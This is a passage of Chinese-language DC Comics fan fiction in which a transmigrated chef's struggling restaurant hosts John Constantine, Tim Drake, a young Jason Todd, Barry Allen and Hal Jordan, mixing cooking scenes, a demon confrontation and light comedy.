他非常自信地将牛排端上了餐桌，旁边还倒了一杯葡萄酒：“五分熟西冷牛排配芦笋尖，佐以赤霞珠红酒，请慢用。”
康斯坦丁切了一小块牛排放入口中，肉汁在他的舌尖爆开，味道恰倒好处，满是熟悉的味道，熟悉到让他不适。
看着康斯坦丁满意的表情，文森特得意一笑：“怎么样？”
“确实不错。”康斯坦丁咽下口里的食物，放下刀叉，“可我现在想吃点披萨。”他最讨厌披萨。
文森特的笑容僵持在了脸上，他没想到这位“上帝”如此难伺候。
“
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没问题，您是上帝，稍等马上就来。”文森特重新回到厨房。
康斯坦丁扭头看向门口，他摸出黄铜打火机点燃了一只烟，但却只是让它在指尖燃烧，烟雾缓缓升起，模糊了他的轮廓。
康斯坦丁的眼神透过烟雾，似乎在凝视着另一个维度。
烟快要燃烧到指尖的时候，他突然手腕一甩，将烟头抛向了门口，火星划破空气，凄惨的哀嚎响彻空中。奇形怪状的魔鬼从空气中现形，它的面孔扭曲，眼中闪烁着地狱之火。
“约翰·康斯坦丁，你注定下地狱！”魔鬼尖叫着，声音尖锐刺耳，它的身影在餐厅的墙壁和地板上投下扭曲的影子，但却半步也不敢踏进餐厅。
地狱的魔鬼还不想和五维生物庇护之人开战。
康斯坦丁蹲在门口叹气，语气轻蔑又挑衅：“你的主人是谁？真不好意思，等着拽我下地狱的人太多了，你得排队。”
魔鬼愤怒地咆哮着，他的形态变得更加恐怖，企图用恐惧来压制康斯坦丁，康斯坦丁眼中闪过不屑，这些来自地狱的低等产物不过是虚张声势。
“和我玩你还不够格。”他冷冷地说道，魔鬼渐渐退回黑暗中，只留下极淡的硫磺味。
【查思，来接我，地址发你了，给我带包烟。】一条消息轻巧地飞了出去。
康斯坦丁回到吧台旁，手指轻敲桌面，老板还在里面专心的烤着披萨，像是完全听不到外面的声音，不过确实，一个对于魔法侧感知度为0的人怎么可能听到魔鬼的声音。
文森特在厨房里专心地烤着披萨，对于外面发生的事情一无所知。他将披萨从烤炉中取出，面饼上铺满了丰富的食材，奶酪在高温下融化，形成诱人的拉丝。
“披萨好了，上帝您尝尝看？”文森特将披萨放在康斯坦丁面前，随口问道，“对了，你知道这附近哪里有二手车行的吗？没车实在太不方便了。”
查思·克雷默一进门就看到康斯坦丁坐在吧台旁，他的声音中带着一丝戏谑，“你什么时候成了上帝了？”
康斯坦丁瞥了查思一眼：“在这家店里，顾客就是上帝。怎么，你对我的新头衔有意见？”
“您是老大，您说了算。”查思把烟丢给康斯坦丁，自觉地拿起一块披萨送入口中。
咬了一口后，他忍不住赞叹：“好极了，简直可以称得上哥谭最佳，天知道哥谭的披萨上面的虫子到底是蝗虫还是——”
“谢谢夸奖。”文森特及时阻止了查思说出更恐怖的昆虫，他把小食放在一边，“你们想试试其他的吗？或者再来点饮料？”
“不用了，”康斯坦丁打了个哈欠拒绝了来自店主的热情推销，“查思，付钱，今晚还有个活。”
查思不情愿地从口袋里掏出钱包，数出几张钞票放在吧台上，“老板，下次再试。”
就在查思要走出店门口的时候，他又折了回来：“这附近有个二手车行，我带你去买能打折，如果需要可以联系我！”
他几乎是被康斯坦丁拖出去的。
9. 第 9 章
文森特看着两人离开的背影，直觉告诉他，康斯坦丁身上的秘密可能与他有关。但每当他想要探究的时候，康斯坦丁身上的疏离感就像一堵无形的墙，让他的话语咽回喉咙。
好吧，也许这种神秘侧人士就是不喜欢别人乱说话呢。
文森特接受了这个事实，把只动了一块披萨放到了柜台下面。他拿起披萨咬了一口，虽然已经失去了原本的温度，但美味仍在，奶酪的香味让他的心情放松了一些。
太阳缓缓沉向地平线，文森特的餐厅依旧门可罗雀，或许是门可罗雀都是夸奖，因为文森特一下午甚至没有见到鸟从他的店门口飞过，更别提有人了。
他现在甚至不看系统任务，反正又完不成，不如想开点。虽说是酒香不怕巷子深，但是多香的酒才能穿破多元宇宙吸引到顾客呢？
今天也是没人的一天。文森特心想，他边思考着如何改善生意，边拍打着音响，试图用最原始的方法修理它。他希望系统里录好的广告词能帮他吸引点顾客，但音响好像在和他作对，始终发不出正常的声音。
就在他全神贯注于修理工作时，一位老人颤颤巍巍地走进了餐厅。
——
哥谭另一端的韦恩大宅里，提姆久违地睡了个好觉，醒来之后家里只剩下了他和忠心耿耿的老管家。
迪克去了泰坦处理外太空事物；杰森则在昨晚就前往中东，为一项长达三个月的毒枭追踪工作做最后的收尾，其他人则是该上学上学，该上班上班。
提姆摸到厨房，熟练地给自己倒了杯咖啡，又在管家不赞成的目光下加了点牛奶，叼着三明治就去了蝙蝠洞，他十分好奇昨天的海鲜烩饭到底是什么情况。
提姆审视着报告，机器分析显示这份烩饭并无异常，甚至可以说非常美味。
没有任何的不安全因素，没有恐怖毒素，没有小丑病毒，甚至食材都是新鲜干净的无污染有机蔬菜海鲜，普通的不像是哥谭产物。
报告最后，系统给出了匹配提示，指向另一份文件。文件上蓝色的绝密表示让提姆下意识坐直了身子。
“权限不足，请重试。”
“红罗宾-提摩西·德雷克-韦恩，请求开启报告。”
冰冷的“权限不足”在蝙蝠洞内回响，比他的咖啡还提神。
提姆眉头紧缩，他没想到自己还会有权限不足的情况，这无疑增加了这份报告的神秘性，也激发了提姆的好奇心。
报告的蓝色加密标识如同一道谜题摆在了他的面前。
在家族里，每个人都有自己的特定编码，蓝色正是夜翼的标识，一份普通的海鲜烩饭竟然动用了这个等级的加密。
这背后必有蹊跷。
世界第二侦探的眼睛亮了起来，他撑了撑手，准备大干一场，他最擅长挖掘出被隐藏的秘密，以侦探的名义起誓。
——
“欢迎光临，要吃点什么？”
“意式浓缩。”老人彬彬有礼地点了杯咖啡，他选择了靠窗的位置，目光时不时望向窗外，似乎在等待着某人的到来。
香气四溢的咖啡很快端上了桌子，老人——提姆扮演地——迅速取样然后装模做样地轻抿了一口，继续等待着戈多。
文森特还在捣鼓着他的音响，极其刺耳的电子音从音响里窜了出来，把店里的两人吓了一跳。文森特赶紧放下手中的工具，转身向客人道歉。
“不好意思，这个音响比我想象中难搞，很抱歉吓到您了，咖啡送给您了。”文森特脸上的尴尬都快溢出来了，别人家的音乐设备是营造氛围吸引顾客，自家的音乐设备是音波武器结果顾客。
他尝试着又轻拍了几下，一阵轻快悦耳的广告词传了出来：
“你好，我是夜翼，这是我在哥谭最喜欢的餐厅。”
这句话一出，提姆差点把眉毛掉进咖啡里。
以他对于迪克·初代罗宾·神奇小子·夜翼·格雷森的了解程度，这个声音百分之一万的他本人的。
所以科技？魔法？或者是阿曼达·沃勒对于超级英雄的又一次试探？
提姆的心跳加速，无数念头从他的思维中滑过。
他看到老板又拍了拍机器，另一个少年的声音传了出来： “你好，我是罗宾，这是我在哥谭最喜欢的餐厅。”
提姆彻底宕机，本来只是轻抿的咖啡被他喝进了气管里面，随之而来的是疯狂的咳嗽。
这两段广告词像是病毒一样在他的脑海中循环播放。
文森特赶紧跑了过来，一边帮提姆拍打背部，一边关切地问：“您没事吧？真是对不起，我这里的设备好像有点问题。”
提姆觉得这可能是恶魔崽子的一种谋杀手段，干掉所有罗宾什么，非常合理。
提姆又仔细听了一下，罗宾的声音和恶魔崽子相去甚远，声音更加富有朝气，而且偏向于哥谭本地人而不是中东的水准——尽管现在达米安的口音已经不那么明显了。
也不是夜翼，作为资深观鸟人他了解迪克的声音，更何况在音频结尾还能听到夜翼的笑声和录音主人的轻声抱怨。
福尔摩斯说的好：排除一切不可能，剩下的不管多么难以置信，一定就是真相。
所以这里是杰森的声音？
提姆几乎是一顿一顿地看向音响，动作比起人类更像是某种缺乏颈部润滑的机器人。
如果是这样的话，那么第二个声音几乎不可能被模仿，也就是说……这家新开的店在多年以前招待过夜翼和罗宾，而且他们还为餐厅录制了广告词？！
这不科学！
“这份录音是？”提姆走上前佯装付钱随口问了一句。
“夜翼和罗宾给我录的，我觉得挺有意思的。”文森特挥挥手拒绝了他的付钱行为。
追踪器趁老板不注意被丢进了柜台，提姆匆匆离开了这里。
他要回去问个清楚，这两人到底在干什么！
远在天边的两人在此时心有灵犀地
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看向了哥谭方向。
提姆离开餐厅的时候，并没有注意到那个与他擦肩而过的小身影。他的心思全都放在了刚才的发现上，脑海中不断回放着那些广告词，试图找出其中的线索，或者是未来的把柄。
而在餐厅内，文森特正准备关门，却迎来了一位意想不到的客人。
“老板，墨西哥卷饼有吗？”
他的身上沾满了汽车油污，身姿利落地跳上了凳子，用一种与年龄不符的成熟语气点了餐。
孩子从口袋里掏出几张皱巴巴的纸币，拍在了柜台上。
文森特看着那双蓝色的眼睛，突然意识到了什么。
“……杰森？”文森特有点吃惊，他仔细打量着孩子，终于从那双熟悉的蓝眼睛中认出了他，“你怎么弄得这么脏？”
“帮人修了个车。”杰森说的很含糊。
文森特眉头微微皱起，他知道杰森是个聪明而且独立的孩子：“你还太小了。”
杰森显然对文森特的担忧不以为意：“这里是哥谭，修个车不是什么大事，放宽心。”他的声音中透出不属于他这个年纪的老练。
“好吧，”文森特转身准备墨西哥卷饼，饼皮早已为了客人等了很久。他迅速地将配料卷进饼皮中，没几分钟香气扑鼻的墨西哥卷饼就被端上了桌子。
“如果你需要帮助，可以随时来找我。”文森特边说边把卷饼放在杰森面前，语气温柔又真诚。
杰森抬起头看了文森特一眼，蓝眼睛闪过一丝复杂的光芒，他微不可察地点了点头，然后低下头，大口吃起了卷饼。
“说到修车，你了解这里的二手车行吗？”文森特试图转变话题，让气氛变得轻松一点，“你知道的，我刚来哥谭，正考虑买辆车。”
杰森咽下口中的食物，想了想说道：“我知道有个女孩想要卖车，一辆黄色的甲壳虫。”他补充道：“车况还可以，但是轮胎不行，你得自己换，她说要搬家所以急着出手。”
“黄色甲壳虫？”文森特眼睛亮了起来，“听起来正合我意，小车好停车，也省油。”他笑着说，“而且，我正需要一辆车来运输食材，这样我就不用每次都拖着沉重的购物袋走回家了。”
“恕我直言，你这家店开在这个位置，连收保护费的混混都没有吧？”杰森的话语直白而犀利。
“而且你这家店一天能有两个人来就不错了。”
文森特觉得自己膝盖中了一箭。
“所以还是少买点吧。”杰森咽下最后一口卷饼，以过来人的语气规劝道。
看着他这副自诩前辈的样子，文森特忍不住笑出声来，他伸手把杰森的头发揉的更乱了，引起了小男孩不满地反抗。
杰森没待多久，他还得回去照顾他妈妈。回家路上他盘算着去哪里给老板搞点好轮胎，看老板这个三天不开张的样子，怕不是完全没钱买轮胎啊。
轮胎啊……哪里有好轮胎呢？杰森抬头望向天空，蝙蝠灯出现在云层里。
10. 第 10 章
文森特觉得穿越真的是一场噩梦，自从他莫名其妙来到这个新世界之后，几乎没有一个晚上可以睡个好觉。
就像现在，他看着眼前这个从天花板上掉下来的男人，一时间不知道该如何反应。
也许自己应该把天花板堵上？或者在房顶加个“小心碰头”？文森特转念一想，这天花板都快成交通要道了，要不自己干脆在房顶加扇门吧。
文森特抓起手边的棒球棍以防万一，他缓步靠近了落下来的不速之客，当他看清楚那张脸的时候，他愣住了。
这张脸他见过，而且印象深刻。那是康斯坦丁的脸，但更加年轻，更加不羁。
……康斯坦丁的亲弟弟？
青年版康斯坦丁像是刚从某个狂欢派对里逃出来，头发上全都是纠缠在一起的彩带，脸上还有几枚红色的唇印，身上更是酒味浓重。
康斯坦丁没想到自己能这么倒霉，他刚刚在一场演出后和姑娘们畅饮了几杯，享受着难得的放松时光。
没想到那些不讲理的恶魔就找上门来。他不过是借用了一下他们的地盘作为临时的通道罢了，大动干戈的小气鬼，真是小肚鸡肠。
他心里暗骂着，下意识地想要逃离这个是非之地。但是当康斯坦丁抬头看到那个恶魔只是在天花板的洞口盘旋，并没有进一步的动作，他挑了挑眉。
“这是怎么回事？”康斯坦丁自言自语，他的手指不自觉地摩挲着手中的打火机，这是他思考时的习惯动作。
康斯坦丁环顾四周，店破的让他感到意外。半旧的桌椅，裂缝的墙壁，还有那张挂在天花板上的超人海报，哪里看起来也不像是有圣物的样子。
康斯坦丁捡起落在自己面前的超人海报，心想：总不能是恶魔也害怕超人吧。但很快他就把这个荒谬的想法抛到了脑后。
抬头看着那个在洞口徘徊的恶魔，魔法师露出一个邪恶的微笑，挑衅地对着天花板比了个中指，声音里满是不屑：“怎么？就这点本事？”
“等你出来我要活剥了你，地狱的每一层都会留下你的血肉！”恶魔的咆哮直击灵魂。
康斯坦丁对恶魔的咆哮声已经免疫，他听过太多类似的威胁和嘲讽。他翻了个白眼：“能不能换套新词，这套词我都听腻了。”
他的语气中带着不耐烦，显然对这种老套的威胁不以为意。
“那你先进来再说吧。”康斯坦丁挑衅地对着洞口说道，然后扭头看向文森特，他的眼睛在昏暗的灯光下闪着玩世不恭的光芒。
“实在抱歉，美人你在这里工作？”康斯坦丁才看到老板，第一眼就被震惊了。
老板的外貌确实引人注目，翠绿的眼眸在半睡半醒间还带着某种水雾，英俊的侧脸让他看起来不像是会出现在这种小店，这是一张可以在伦敦最好的“酒店”当头牌的脸，就是怎么比他还高。
文森特目瞪口呆地看着康斯坦丁，这位不速之客似乎在和天花板上的一个洞口进行着激烈的对话。他甚至比了中指，而洞口那边似乎也有人——或者说什么东西——在回应他，只是回应的方式让文森特感到有些不安。
随着康斯坦丁的每一句挑衅，天花板上的洞口就多了一道新的裂纹，灰尘和碎片噗噗地掉落下来。
文森特忍不住后退了几步，他生怕天花板会整个塌下来，幸好在康斯坦丁说完最后一句话时，天花板停止了回应。
文森特不禁感到一阵寒意，他开始怀疑自己是不是无意中卷入了某些魔法侧的超自然的纠纷，他回过神来，清了下嗓子，试图掩饰自己的困惑，以至于他完全忽略了康斯坦丁对他的“调戏”。
“是的，我是这家餐厅的老板，文森特·科顿，你可以叫我文森特。”文森特一顿，继续说道，“你是康斯坦丁吗？”
康斯坦丁的名声在某些圈子里确实响亮，但他没想到连这家偏僻小餐馆的老板都对他有所耳闻。
“哇哦，我已经这么出名了吗？”康斯坦丁自觉地坐在桌子边，打火机在手指间灵巧地跃动，“你这张脸要是看过我的现场我一定有印象，需要签名吗粉丝？”
“不用，谢谢。”文森特表情冷淡下来，他没想到年轻的康斯坦丁会是这个样子。
他走到餐厅门口，指着墙上的时钟，提醒康斯坦丁已经是凌晨三点了。
“没什么事情的话，需要帮你叫个车吗？”文森特站在店门口，转身问道，“对了，这里是……”
他的话音未落，门已经被他推开，露出了门外的景象。
大本钟在月光下巍峨矗立，哥特式的尖顶划破夜空，仿佛是守护着这座城市的古老哨兵。
伦敦。
文森特没有注意到的是，在他推开门的瞬间，一直潜伏在暗处的恶魔突然暴起想要攻击出门之人。
“文森特，停下！”康斯坦丁意识到危险，但已经来不及了。
听到康斯坦丁的阻止，文森特下意识后退了一步，这一步让他退出了餐厅大门，被门槛绊倒向后仰去，在他倒下的过程中，文森特的手指划过了恶魔的身躯。
被碰到的瞬间，恶魔像是碰到了被教皇亲手赐福过的圣水似的，在痛苦的哀嚎后，像一股黑烟般被遣返回了地狱。
康斯坦丁眼疾手快地拉住了老板，他的手臂猛地伸出，稳稳揽住了文森特的肩膀，两人的身躯在混乱中撞在了一起。
他趁机在文森特的身上悄悄留下一个小印记，康斯坦丁很好奇，这位连恶魔都看不到的老板到底有什么魔力能让一位来自地狱的恶魔领主退避三舍。
文森特在康斯坦丁身上闻到了硫磺的味道，康斯坦丁则在老板身上闻到了牛排的香气，那是一种让人垂涎欲滴的肉香，混合着黄油和迷迭香的味道。
文森特被康斯坦丁突然的动作弄得有些懵，他稳住身形后，看着康斯坦丁，眼中充满了疑惑。
“看错了，还以为刚才那边有个人。”康斯坦丁揉了揉肚子，声音带着一丝疲惫，他晚上只喝了点酒，接着就被该
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死的恶魔追逐了半座城市，现在胃里空空如也，饿的能吞下一头牛，四处张望着这里有什么能吃的。
眼尖的他一下子就看到了后厨放着的几乎没动过的牛排和披萨，昏黄的灯光下食物们显得格外诱人。
康斯坦丁的肚子咕咕作响，他毫不犹豫一个翻身越过吧台，直奔牛排而去。
“别。”文森特还来不及阻止，就看到康斯坦丁叉起今天下午那块牛排塞进了嘴里。
“味道挺好的，就是有点凉。”康斯坦丁评价道，他的吃相并不优雅，但是牛排的确让他满意，对于一个和恶魔周旋了半晚上的魔法师来说，能吃上一口牛排已经是上天垂怜了。
披萨也好吃。康斯坦丁心想，也直接说了出来。
“谢谢。”文森特又看了一眼钟表企图暗示什么，但康斯坦丁却已经在吧台前打起了盹。
康斯坦丁半眯着眼观察着老板的一举一动，天亮之前他还不能离开这里。
他心里清楚，恶魔领主绝不会就此罢休。他能感觉到那股来自地狱的怨气在夜色中徘徊，等待着他踏出这个暂时的避风港。一旦他离开，黑暗的力量就会像猎犬一样追逐他，直到他无处可逃。
那为什么不多呆一会儿呢？康斯坦丁心想。
文森特看着睡梦中的康斯坦丁试图唤醒他，但对方只是嘟囔了几句，又将头埋进了臂弯中。
谁都知道，你永远别想唤醒一个装睡的人，更何况是流氓地天衣无缝的康斯坦丁。
文森特无奈地摇了摇头，他干脆找了几把椅子拼凑成一张临时的床，把康斯坦丁扶了过去。
夜风从泰晤士河畔吹来，带着河水的湿气和城市的宁静。
文森特深吸了一口夜晚的空气，试图让自己的头脑清醒一些。
送报纸的孩子从他身边经过，文森特招手叫住了报童。报纸的头版头条赫然写着“超人现身大都会”，文森特意识到自己的餐厅又一次穿越了时空，回到了十几年前的世界。
看起来宇宙尽头的餐厅并不局限于空间距离，时间也是随意跨越的。文森特不禁开始思考，自己到底是怎么卷进这些事情的，他下定决心，赶紧完成蝙蝠螨的任务回家。
文森特的思绪被冷风吹散，他收起报纸，决定回到餐厅。推开门，他看到康斯坦丁蜷缩在在椅子上，呼吸平稳，似乎是真的睡着了。
——
文森特的睡眠被一个突如其来的噩梦打断，他梦见自己被一群恶魔追赶，而当他睁开眼时，却发现有人正凑近他，几乎要贴到他的鼻子上。他本能地向后一缩，心跳加速，睡意全无。
“早安，老板。”康斯坦丁的笑容在清晨的阳光下显得格外灿烂。
文森特只觉得背后发凉。
康斯坦丁的目光在餐厅里扫视了一圈：“我在想，你这里需要新员工吗？我看起来怎么样？”
“对不起我可能没睡醒，你能再说一遍吗？”
“老板，你需要新员工吗？”
11. 第 11 章
“老板，你需要新员工吗？”
听到这句话，文森特立刻拉上被子闭紧了眼睛，他怀疑自己还在做梦。
这不是超英世界吗，不是有什么睡神吗？自己一定在做噩梦。
文森特试图让自己从这个荒谬的梦里醒来，但康斯坦丁的目光有如实质，让他没法继续装睡，文森特放弃了抵抗，意识到这是他无法逃避的现实。
残酷的现实。
“你是认真的吗？”文森特坐起身，被子滑落到腰间，让康斯坦丁大饱眼福，“你觉得这里需要第二个员工？”
他的目光扫过餐厅的四周，勉强没有洞但布满裂痕的墙壁，嘎吱作响的地板，还有带着大洞的天花板。
文森特紧盯着康斯坦丁的双眼，沉默地表达着他的疑惑：你真的觉得这里需要第二个员工吗？
康斯坦丁沉默了一分钟，再出声时他的声音中带着不容置疑的坚定，“当然需要，尤其是像我这样的。”
哦，像你这样的。文森特都说不出话。你就是蝙蝠螨派来让我倒闭的回不了家的内鬼吧，有你这样的员工我明天睡大街后天就要去站街讨饭了。
他掀开被子站了起来，随意从旁边拿了件还算干净的衣服套上，接着走到餐厅门口，礼貌地拉开门，他的动作优雅，要是不看背景还以为他在白金汉宫为女王开门，但全身的动作语言只表达出了一个词：“滚出我的餐厅。”
“别这么快下逐客令嘛老板。” 康斯坦丁像是没看到一样，打火机在他手上舞蹈，他靠近文森特，“我可是会很多东西……哎你这个人！”
文森特并不买账，他毫不留情地把康斯坦丁推了出去，然后拍拍手关上了门。
康斯坦丁没有放弃，这是他现在知道最安全的地方了，当然是能多呆一会儿就多呆一会儿，不蹭白不蹭嘛。
文森特的耐心已经被康斯坦丁的坚持给磨得差不多了。
他把人赶出去了三次，每次康斯坦丁都以不同的方式试图说服文森特让他留下来。
门第四次打开了，这次文森特是真的火了。他正在厨房准备高汤，刀在砧板上掷地有声，头也不回地朝门大喊：“出去！”
“呃，抱歉？”陌生的声音进入文森特的耳朵。
文森特转过身，看到一个穿着白大褂的金发男人站在门口，蓝色的眼眸中带着一丝不确定，在犹豫是进来还是离开。康斯坦丁就站在男人身后，脸上挂着看好戏的表情。
“抱歉，刚才有点误会。”文森特对客人说到，他的声音温和，和面对康斯坦丁的态度简直是两个极端。
客人显然被这一幕弄得有些困惑。前两天他的朋友给他带了点美味汉堡，说虽然店面不怎么样——这位天才*的原话是“店看起来马上就要倒闭了，天花板摇摇欲坠，为了脑袋的安全，建议你带个头盔。”——但是老板人好，汉堡也好吃。
尽管店在海滨城，不过对他来说，距离不是问题。
“你好，我是巴里·艾伦，”巴里微笑着伸出手，他打算来吃个早餐，“我朋友推荐我来试试这里的汉堡。”
“欢迎光临，我是文森特，老板兼主厨兼唯一员工。” 文森特和巴里握手，他的笑容中带着歉意，唯一一词念的十分用力，“刚才的事情……请别介意。”
康斯坦丁在一旁插话：“别担心，他经常这样，我都习惯了。”
文森特瞥了康斯坦丁一眼，康斯坦丁立刻双手上举做投降状：“我只是在帮忙解释。”
巴里笑笑，他能感觉这两个人之间气氛有些微妙，但是这和一个想吃汉堡的中心城普通警官有什么关系呢，他真的饿了。
加班被同事拿走最后的玉米卷，熬夜通宵查案，回家发现备用食物全部告急，多重叠加的巴里看到桌子上哈尔拿来的汉堡袋子身体自觉地动了起来。
他只想吃点好的，今天不想关注什么超英超反暗潮涌动，只想关注食物。
文森特看了一眼厨房里零星的食材，在杰森忠告前他就意识到了自己的餐厅生意惨淡，顾客寥寥无几，加之他追求食材的新鲜度，每次采购都不会买太多。
这段时间，系统记录的收入只有两笔：一笔是克拉克给的五美金，另一笔是康斯坦丁和他的好友查思的二十美金。
扣除食材成本后，净赚了三美金。
三美金。
如果再算上餐厅每天的扣的税款，那么文森特现在不应该在餐厅里看着厨房寂寞如雪，他应该站在大街上求求好心人给口饭吃。
之所以还有钱全依赖于餐厅给他开外挂，带着文森特全世界各地开地图赚钱。
厨房现在连个汉堡材料都凑不出来。
文森特尴尬地看着巴里，提议道：“巴里，其他的可以吗？也许你愿意尝尝肉酱意面？”
“没问题。”巴里一口答应了下来，坐在椅子上等着美味降临，现在他终于有心思打量这家店。
他没想到，哈尔也有不夸张的一天，这家店甚至比他说的更夸张，要不是熟人介绍根本不会有人来危房吃饭，或者是这是老板喜欢的装修风格，一种刚被超反炸过的风格？
正在厨房里专心熬着肉酱的文森特觉得鼻子痒痒的。
巴里知道每个人喜欢的风格都不一样，他之前还和巴特讨论过未来人喜欢的装修风格——为了给巴特装修卧室。
巴特选择了一种非常特别的风格，非常特别。
巴里不忍回想，肉酱的香气从厨房里传了出来，浓郁又不失层次，番茄的鲜甜，牛肉的醇厚，加上各种香料的完美组合，在空气中交织融合，最后化成无形的丝线，牵引着他的食欲。
随着时间推移，香气越来越浓烈，巴里掏出手机拍下了文森特在厨房里忙碌的身影，发给了哈尔，还附上了一句：“天才，猜猜我在哪里？真不知道为什么这么好的厨子愿意留在你们海滨城。”
哈尔的回复来的很快，带着一串省略号和愤怒的表情：“你来海滨城第一时间不是来找我就算了，吃饭也不给我带一份。”巴里几乎能看到消息后面喷火的哈尔
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没过多久，文森特端着一盘热气腾腾的肉酱意面走了出来，青翠的欧芹点缀其间，意面看上去更加诱人。
“小心烫。”文森特轻轻将盘子放在巴里面前，自己也拿了一份倚在吧台上慢慢吃着。
巴里只来得及拍了照片发给哈尔就迫不及待地拿起叉子品尝起来。
“这简直是我吃过最好吃的肉酱意面！”巴里毫不掩饰自己的赞赏，话语中充满了对文森特厨艺的认可。
巴里一边吃，一边还不忘给哈尔发消息：“这家店的肉酱意面简直是超人级别的！”
哈尔的回复则充满了嫉妒：“超人级？那你怎么不给我带一份回来？”
巴里笑着回复：“你不是有戒指吗？自己过来拿啊！”
哈尔无奈：“天，我现在卡罗尔的私人飞机上，她今天要去大都会，你知道的，莱克斯的科技发展会，航天集团不能错过。”
两人的玩笑在手机屏幕上飞快来回，巴里尽量保持着正常稍快的速度干掉了五盘意面，终于算是稍微补足了热量。
看到巴里的食量，文森特福至心灵：
“你是哈尔那个特别能吃朋友！”
巴里听到文森特的话，差点被刚送进嘴里的意面呛到，他赶紧灌了一口水把食物顺下去：“你怎么知道我是哈尔的朋友？”
“哈尔说他的朋友能吃下半个城市的汉堡。”文森特笑了笑，指了指旁边的空盘子，“你看起来像能吃掉一个池塘的意面。”
“是你做的太好吃了。”
巴里的手机又响了起来，哈尔的消息一条接一条地蹦出来，每一条都透露出他对美食的渴望：
“你还在吃吗？给我留点！”
“不行，我得找个理由回去。”
“宝贝，你这是在折磨我，你知道吗？”
巴里忍不住笑了，他回复道：“别担心，我会给你留一份的。不过你得快点来，不然我就全吃完了。”
——
费里斯航空私人飞机上
飞机的宽大窗是外面平流层的壮丽景色，尽管景色迷人，但哈尔的心思显然不在于此。
自动驾驶系统稳定地工作着，让哈尔有足够的闲暇时间来处理他的馋虫问题，以他的能力直接从飞机上飞到海滨城也是轻而易举，但毕竟他现在的身份是机长，职责所在，工作优先。
哈尔叹了口气，他拿起手机，再次打开了和巴里的聊天界面，巴里没有回他。
飞机很快落地大都会机场。
哈尔把卡罗尔送上了车刚想要不要找个地方换身衣服偷偷回一趟海滨城，一道金红色的身影就出现在了他的面前。
“请签收~”一份香气扑鼻的意面出现在哈尔手里。
看着哈尔惊讶地神情，巴里脸上带着一丝得意：“闪电快递，使命必达！”
“好兄弟！”
——
文森特看着巴里匆匆打包离开的身影，觉得自己忘了什么。
靠，还没付钱！！
12. 第 12 章
文森特立刻冲向门口，却只看到巴里白色的身影消失在街头的车流之中。
游戏经营和现实经营果然有壁。文森特叹了口气，放弃了自己把餐厅做大做强的梦想。
他现在的想法是：至少别用系统的钱倒贴了，主要是真倒贴不起了，系统给的钱交系统的税，系统真的是一点亏也不吃啊。
文森特转身正好对上倚在门框看热闹的康斯坦丁，他不知道从哪里摸了个苹果吃得津津有味，悠闲自在地彷佛自己家的后花园里。
“好看吗？”文森特没好气的问，他发誓自己绝对！绝对！绝对不会雇佣康斯坦丁，除非从餐厅的残骸上踏过去！
康斯坦丁挑了挑眉，对文森特的讽刺并不在意：“非常精彩。不过个人建议，服务态度还需要改进，比如提醒客人结账。”
“……滚出我的餐厅！”文森特再也忍不住了，他的声音响彻街巷，吓的电线杆上的麻雀纷纷起飞。
“别这么严肃嘛，”康斯坦丁早就习惯了别人对他这副态度，他慢悠悠地说，“我当你的员工至少可以帮你提醒客人结账，物超所值。别说，你这苹果挺好吃的。”
“克拉克推荐的苹果，想要去大都会自己买。”文森特回到后厨处理着刚才的餐具，水流的冲刷声让他的声音变得模糊，“谢谢，我不需要这份额外工资支出。”我自己都没有工资。
康斯坦丁像是没听到一样——或者他真的没听到，他继续啃了几口苹果，提出了第二个建议：“或者我还能带你逛逛伦敦城？你一看就刚到这里人生地不熟，我开车带你游览伦敦，作为报酬你晚上让我在这里睡觉就行，我白天自己找地方住。”
文森特没回应。
“免费导游，你知道在这里找个导游要多少钱吗？我就住十天？七天？五天？”康斯坦丁的目光在巷子尽头徘徊，他悄悄退回店内，撵灭了地上的烟头，时间一减再减，“该死，我给你钱住三天总可以吧，就三天，只是避避风头。”
“要是我还不答应呢？”文森特从后厨走了出来，金发从帽子里掉出来刚好遮住了眼睛。
“开餐厅总要开门，我白天来打地铺也可以的。”康斯坦丁笑得十分真诚。
“……三天，”文森特重复着这个数字，“你保证只有三天？”
“我保证，呃 ，以，以我父亲*的名义起誓吧。”康斯坦丁严肃地说。
“好吧。”文森特的声音里带着无奈和妥协。
康斯坦丁伸出手用一种夸张的语气说道：“老板你雇我绝对是赚到了，我之前呆的场子场场爆满，雇佣我你绝对不亏。”
文森特忍住了翻白眼的冲动，他没有被绕进去：“首先，我没有雇你，是你给我钱，我让你在这里打三天地铺。”完全是公事公办的态度。
康斯坦丁轻啧了一声，从善如流地转变：“那更好了，我是客人，俗话说的好，客人就是上帝，我要吃东西。”
“上帝，那是另外的价钱。”文森特清了清嗓子，“其次，我们必须约法三章，第一，不准打扰餐厅的日常活动。”
“没问题，不过你这个地方我几乎没看到有什么人来，请问现在餐厅的日常活动是不准人来吗？”康斯坦丁立刻接上了话，直戳文森特痛点。
“第二，不准偷吃餐厅食材。”文森特的语气中满是警告的意味。
文森特正准备说出第三条，却被康斯坦丁打断了：“拜托老板，我在你眼里就是这种人吗？”他不知道从哪里又变出了一个橘子。
文森特看了橘子一眼，用身体语言表达了肯定。
“第三……”
“老板，我都是上帝了，咱就两条吧，别有第三条了。”
“行吧，那就暂定先两条，三天一到就离开我的……”
“离开你的餐厅，我懂我懂，现在人类怎么这么暴躁。”康斯坦丁嘀嘀咕咕嘟囔道，完全忽略了天花板上的越发扩大的裂痕到底是怎么出现的。
文森特长长吐出一口气，他立刻转身回到后厨继续准备今晚的甜品面糊，这份材料要冷藏至少12小时才能有最佳的风味，现在开始做，正好晚上可以用。
他娴熟地把材料混合在一起——之前文森特在生活中也喜欢复刻游戏的食物——接着用保鲜膜贴面包裹面糊，小心翼翼地放进了冰箱。
完美。文森特十分期待今晚的甜品之夜。
至于缺乏的食材，文森特看着系统里三位数的余额，狠狠心决定出门看能不能采购点物美价廉的食材，谁家餐厅后厨打开冰箱只有番茄黄瓜土豆面粉啊。
文森特伸了个懒腰，走出餐厅就看到康斯坦丁一个人坐在椅子上，他从口袋里掏出一个打火机，轻拨一下，蓝色的火焰跳跃而出，挑拨着文森特的大脑。
文森特一个箭步冲上去没收了“作案工具”。
“第三条，室内禁止抽烟，烟草会污染食物的香气。”文森特的声音坚定有力，不容置疑。
康斯坦丁哀嚎一声，抗议道：“老板，你不能剥夺你的上帝唯一的慰藉。”他的眼神里满是哀求，肢体动作却是想把自己的老伙计抢回来。
“绝！不！”文森特不为所动，他学着之前康斯坦丁的样子生涩地把玩着打火机，“不行，这是我的餐厅，我的规则，上帝来了也要遵守我的规则，抽烟你得出去。”
